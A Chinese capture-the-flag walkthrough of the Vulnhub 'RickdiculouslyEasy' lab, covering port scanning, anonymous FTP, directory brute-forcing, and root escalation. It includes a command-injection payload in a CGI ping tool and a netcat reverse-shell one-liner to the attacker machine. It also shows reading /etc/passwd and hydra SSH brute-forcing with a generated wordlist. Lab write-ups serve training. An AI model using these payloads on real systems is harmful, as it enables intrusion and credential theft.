CTF挑战130分 | Rickdiculously 1.0

栏目: 服务器 · 发布时间: 6年前

内容简介:Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚机到获取操作系统的root权限和查看flag。官网:

Vulnhub简介

Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚机到获取操作系统的root权限和查看flag。

官网: https://www.vulnhub.com

下载链接

https://download.vulnhub.com/rickdiculouslyeasy/RickdiculouslyEasy.zip

靶机说明

靶机用ValualBox创建,是一个面向初学者设计的CTF,简单的Boot to root游戏,同时里面有合计130 points的Flag。

目标

Boot to root:获得root权限,并获得合计130 points的Flag。

运行环境

靶机:通过ValualBox打开虚拟机,网络连接方式设置为主机模式(host-only),虚拟机启动后会显示IP是192.168.56.101。

攻击机:同网段下有Windows攻击机(物理机),IP地址:192.168.56.100,安装有Nmap、Burpsuit、Wireshark、Sqlmap、nc、Hydra、 Python 2.7、DirBuster、AWVS、Nessus等渗透工具。同样推荐使用Kali Linux作为攻击机,预装了全面的渗透工具。

信息收集

端口服务识别

启动虚拟机,由于IP已知,使用nmap扫描端口,并做服务识别和深度扫描(加-A参数),扫描结果保存到txt文件,命令:

nmap -p1-65535 -A 192.168.56.101 -oN rick.txt

CTF挑战130分 | Rickdiculously 1.0

汇总开放的端口和服务:

端口 服务 后台系统 或 提示信息

21 FTP vsftpd3.0.3 允许匿名登录

22 未知服务 Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic x86_64)

80 http Apache httpd 2.4.27 ((Fedora)

9090 http Cockpit web service

13337 未知服务 获得FLAG:{TheyFoundMyBackDoorMorty}-10Points

22222 ssh OpenSSH 7.5 (protocol 2.0)

60000 未知服务 Welcome to Ricks half baked reverse shell

漏洞挖掘

渗透思路:

(1) 依次查看每个端口运行的服务,能直接利用则获得Flag。
(2) 先查看全部非Web服务,再查看Web服务,通常会通过Web服务入手获得 shell 后提权。
(3) 最后聚焦Web服务进行web渗透和提权。

0×01 端口13337:10 Points

一血,信息收集时Nmap扫描13337扫描得到Flag,10 Points。

FLAG:{TheyFoundMyBackDoorMorty}-10 Points

总分:1 flag,total 10 points/130 points

CTF挑战130分 | Rickdiculously 1.0

0×02 端口21:FTP匿名登录,10 Points

Nmap扫描发现21端口的FTP允许匿名登录,使用任何FTP工具或者FTP命令匿名登录21端口,如下截图使用Xftp登录:

CTF挑战130分 | Rickdiculously 1.0

获得FLAG{Whoa this is unexpected} – 10 Points

总分:2 flags,total 20 points/130 points

0×03 端口9090:https网页,10 Points

访问 https://192.168.56.101:9090/ ,在Web页面获得Flag:

CTF挑战130分 | Rickdiculously 1.0

FLAG {There is no Zeus, in your face!} - 10 Points

总分:3 flags,total 30 points/130 points

0×04 端口22:获得系统及内核版本

Nmap扫描发现22端口不是ssh服务,ssh在22222端口,使用nc连接22端口:nc -nv 192.168.56.101 22获得内核和系统版本:Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic x86_64)

CTF挑战130分 | Rickdiculously 1.0

0×05 端口22222:ssh服务

Nmap扫描时发现22222端口运行ssh服务,使用Xshell工具连接,目前没有获得用户名密码,暂无法登录。

CTF挑战130分 | Rickdiculously 1.0

0×06 端口60000:用户shell,10 Points

Nmap扫描时发现提示Welcome to Ricks half baked reverse shell,这是一个shell,使用nc连接成功:nc -nv 192.168.56.101 60000,查看目录和文件发现Flag。

CTF挑战130分 | Rickdiculously 1.0

FLAG{Flip the pickle Morty!} – 10 Points

总分:4 flags,total 40 points/130 points

检测该shell权限,whoami命令显示是root,但是该shell只有访问Flag和执行几个命令的权限,无法进一步利用。

CTF挑战130分 | Rickdiculously 1.0

至此已访问全部非Web端口,共获得了4个Flag,40 Points。继续访问80端口web服务。

0×07 端口80:暴破目录和获得Flag

(1) 访问 http://192.168.56.101/ 进入首页:

CTF挑战130分 | Rickdiculously 1.0

Windows下使用DirBuster工具进行目录暴破,kali下可使用dirb工具暴破:

CTF挑战130分 | Rickdiculously 1.0

获得passwords目录,Flag和passwords.html页面,依次访问。

(2) 目录 http://192.168.56.101/passwords/

CTF挑战130分 | Rickdiculously 1.0

(3) 访问passwords目录下的FLAG.txt:10 Points

CTF挑战130分 | Rickdiculously 1.0

FLAG{Yeah d- just don’t do it.} – 10 Points

总分:5 flags,total 50 points/130 points

(4) 访问passwords.html页面,获得密码:

提示该页面存储了密码Storing passwords in a file called passwords.html

CTF挑战130分 | Rickdiculously 1.0

查看网页源码获得密码winter

CTF挑战130分 | Rickdiculously 1.0

0×08 通过robots.txt找到命令执行页面

(1) 读取robots.txt文件(也可以通过dirb暴破出rebots.txt):

CTF挑战130分 | Rickdiculously 1.0

发现有两个文件:/cgi-bin/root_shell.cgi和/cgi-bin/tracertool.cgi,第一个疑似root shell。

(2) 访问/cgi-bin/root_shell.cgi 提示正在建设中。

CTF挑战130分 | Rickdiculously 1.0

(3) 访问/cgi-bin/tracertool.cgi,发现ping命令执行界面,可以ping一个IP,输入127.0.0.1;id即可执行id命令:

CTF挑战130分 | Rickdiculously 1.0

获取shell

0×09 命令执行获得shell

(1) 命令执行好获得shell有多种姿势,使用nc反弹shell,执行命令127.0.0.1;nc -e /bin/bash 192.168.56.100 4444

CTF挑战130分 | Rickdiculously 1.0

(2) windows攻击机开启nc监听4444端口,并接收反弹shell成功:

CTF挑战130分 | Rickdiculously 1.0

(3) 读取/etc/passwd

cat命令被替换成了猫猫的图形,more命令在shell中不回显。

CTF挑战130分 | Rickdiculously 1.0

执行nl /etc/passwd读取文件,或者在执行ping命令的/cgi-bin/tracertool.cgi页面输入127.0.0.1;more /etc/passwd也可以读取

CTF挑战130分 | Rickdiculously 1.0

CTF挑战130分 | Rickdiculously 1.0

系统中存在3个用户:RickSanchez、Morty和Summer。

(4) 之前已经获得了一个密码winter,尝试用这个密码登录3个用户的ssh(22222端口)和FTP:用户名Summer,密码winter登录成功。

在xshell中ssh登录并获得Flag或者在xftp中登录Summer账号并获得Flag:

CTF挑战130分 | Rickdiculously 1.0

CTF挑战130分 | Rickdiculously 1.0

FLAG{Get off the high road Summer!} – 10 Points

总分:6 flags,total 60 points/130 points

0×10 查找其他用户的文件和Flag

(1) 查找用户RickSanchez和Morty的文件

命令find / -user RickSanchez 2>/dev/null和find / -user Morty 2>/dev/null,在home目录用tree命令列出文件:

CTF挑战130分 | Rickdiculously 1.0

发现可以读取两个用户home目录里面的问文件,分别进去查找隐藏文件。

(2) Morty的文件和Flag

进入Morty目录,发现journal.txt.zip和Safe_Password.jpg文件

CTF挑战130分 | Rickdiculously 1.0

将这两个文件复制到Summer用户的home目录:

CTF挑战130分 | Rickdiculously 1.0

然后通过用Summer账号登录FTP下载下来:

CTF挑战130分 | Rickdiculously 1.0

zip压缩包有密码,先看jpg图片,因windows下没有kali的strings命令,用Notepad++或者记事本打开,在前几行发现密码:Password: Meeseek The Safe Password: File: /home/Morty/journal.txt.zip

CTF挑战130分 | Rickdiculously 1.0

通过密码Meeseek打开journal.txt.zip压缩包,得到Flag和一个safe密码131333。看文字提示a safe, and a password

CTF挑战130分 | Rickdiculously 1.0

FLAG: {131333} – 20 Points

总分:7 flags,total 80 points/130 points

(3) RickSanchez的文件和Flag

发现可执行文件safe:

CTF挑战130分 | Rickdiculously 1.0

把safe复制到Summer的用户目录下,执行safe文件:

CTF挑战130分 | Rickdiculously 1.0

提示需要使用命令行参数Past Rick to present Rick, tell future Rick to use GOD DAMN COMMAND LINE argument

上面获取了密码131333,将其作为参数执行./safe 131333

CTF挑战130分 | Rickdiculously 1.0

获得FLAG{And Awwwaaaaayyyy we Go!} – 20 Points

总分:8 flags,total 100 points/130 points

同时得到Rick的密码提示信息:Rick可能是wheel组成员,具有sudo权限;Rick的密码按照顺序包含:1个大写字母,1位数字,1个旧乐队名字中的单词。

提升权限

0×11 生成字典,暴破Rick密码

(1) 先百度或谷歌找到Rick的乐队名字,百度搜索RickSanchez Morty Summer,得到瑞克与莫蒂,第一个搜索结果就是WIKI介绍,点击进去查看

CTF挑战130分 | Rickdiculously 1.0 CTF挑战130分 | Rickdiculously 1.0 这是一部动画片,在WIKI里面找到了乐队的名字The Flesh Curtains

CTF挑战130分 | Rickdiculously 1.0 (2) 生成密码字典:

密码第1位:A-Z中的一个大写字母;

密码第2位:0-9中的一个数字;

密码第3位:The或者Flesh或者Curtains,这3个单词之一。

在Kali下使用crunch工具生成字典,生成3次字典,追加写入到rick.txt文件,crunch命令参数说明: crunch 密码最小长度 密码最大长度 -t参数是自定义密码输出格式 ,代表大写字母 %代表数字

生成包含单词The的密码,写入rick.txt字典crunch 5 5 -t ,%The > rick.txt

CTF挑战130分 | Rickdiculously 1.0 生成包含Flesh的密码,追加写入rick.txt字典:crunch 7 7 -t ,%Flesh >> rick.txt

CTF挑战130分 | Rickdiculously 1.0 生成包含Curtains的密码,追加写入rick.txt字典:crunch 10 10 -t ,%Curtains >> rick.txt

CTF挑战130分 | Rickdiculously 1.0 生成的rick.txt字典有780行,可以在Kali中使用九头蛇、美杜莎暴破ssh。

CTF挑战130分 | Rickdiculously 1.0

(3) 暴破RickSanchez密码:

由于VMWare下的Kali机没有和VBox靶机的host-only网卡连接,所以使用Windows物理机的九头蛇暴破密码:

进入九头蛇目录,命令hydra.exe -l RickSanchez -P rick.txt -t 4 ssh://192.168.56.101:22222

CTF挑战130分 | Rickdiculously 1.0

暴破完成,得到login: RickSanchez password: P7Curtains

0×12 获得root权限

(1) 使用xshell工具ssh登录RickSanchez账号,密码P7Curtains

CTF挑战130分 | Rickdiculously 1.0

(2) 提权到root,执行命令sudo su -,密码P7Curtains

CTF挑战130分 | Rickdiculously 1.0

(3) 获得Flag

CTF挑战130分 | Rickdiculously 1.0

FLAG: {Ionic Defibrillator} – 30 points

总分:9 flags,total 130 points/130 points

游戏通关,已经提权至root,并获得全部FLag。

总结

突破点和坑:

(1) Nmap扫描发现的每个端口和服务都需要查看,防止遗漏Flag。
(2) 查看网页源码和图片的可打印字符,获取账号密码。
(3) 获取到用户Summer和密码winter后,反弹shell没有必要了,因为可以ssh登录。
(4) 难点和坑是制作RickSanchez账号的密码字典,首先要看英文提示Rick的密码由哪些字母或单词组成,其次要找到乐队名字的单词,乐队名是通过搜索引擎找到的,最后用 工具 做成字典,需熟悉字典制作工具的使用,或者用py写几次循环。

全部Flag列表:

得分 Flag 端口和位置

10 FLAG:{TheyFoundMyBackDoorMorty} 端口13337

10 FLAG{Whoa this is unexpected} 端口21,FTP匿名登录

10 FLAG {There is no Zeus, in your face!} 端口9090,https服务

10 FLAG{Flip the pickle Morty!} 端口60000,nc连接

10 FLAG{Yeah d- just don’t do it.} 端口80,passwords目录

10 FLAG{Get off the high road Summer!} 用户Summer目录

20 FLAG: {131333} 压缩包journal.txt.zip

20 FLAG{And Awwwaaaaayyyy we Go!} 可执行文件safe

30 FLAG: {Ionic Defibrillator} root根目录

* 本文作者:Setup,转载请注明来自FreeBuf.COM


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

The Linux Command Line

The Linux Command Line

William E. Shotts Jr. / No Starch Press, Incorporated / 2012-1-17 / USD 39.95

You've experienced the shiny, point-and-click surface of your Linux computer-now dive below and explore its depths with the power of the command line. The Linux Command Line takes you from your very ......一起来看看 《The Linux Command Line》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具